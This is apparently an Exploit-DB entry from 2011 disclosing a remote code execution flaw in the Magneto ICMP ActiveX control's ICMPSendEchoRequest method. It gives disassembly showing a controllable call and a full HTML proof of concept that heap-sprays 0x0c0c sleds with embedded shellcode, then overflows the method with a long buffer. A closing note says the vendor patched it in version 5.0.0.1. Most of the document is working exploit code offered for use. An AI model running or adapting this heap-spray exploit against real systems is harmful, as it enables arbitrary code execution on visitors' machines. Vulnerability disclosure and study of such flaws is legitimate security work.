54 lines
No EOL
2 KiB
HTML
54 lines
No EOL
2 KiB
HTML
Magneto ICMP ActiveX v4.0.0.20 ICMPSendEchoRequest Remote Code Execute
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Date: 2011-5-27
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Discovered by: boahat
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vendor: http://www.magnetosoft.com/
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Download: http://www.magnetosoft.com/downloads/skicmp_setup.exe
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SKIcmp.ocx
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Function ICMPSendEchoRequest (
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ByVal bstrDestinationAddress As String
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) As Long
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.text:1000F012 mov edx, [ebx+8] // edx can be control
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.text:1000F015 lea ecx, [esp+468h+String1]
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.text:1000F019 push esi
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.text:1000F01A push ecx
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.text:1000F01B call edx // bomb...
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[POC]
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<html>
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<body>
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<object classid="clsid:3A86F1F2-4921-4C75-AF2C-A1AA241E12BA" id="target"></object>
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<script>
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var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
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var bigblock = unescape("%u0c0c%u0c0c");
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var headersize = 20;
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var slackspace = headersize+shellcode.length;
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while (bigblock.length<slackspace)
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bigblock+=bigblock;
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fillblock = bigblock.substring(0, slackspace);
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block = bigblock.substring(0, bigblock.length-slackspace);
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while(block.length+slackspace<0x40000)
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block = block+block+fillblock;
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memory = new Array();
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for (x=0; x<500; x++)
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memory[x] = block + shellcode;
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var buffer = '';
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while (buffer.length < 6000)
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buffer+="\x0c\x0c\x0c\x0c";
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target.ICMPSendEchoRequest(buffer);
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</script>
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</body>
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</html>
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# Exploit-DB Note:
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# According to MagnetSoft The exploit has been fixed in the latest version of the software,5.0.0.1.
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# The latest version that contains the fix can be downloaded here:
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# http://www.magnetosoft.com/www/downloads/win32/skdns_setup.exe |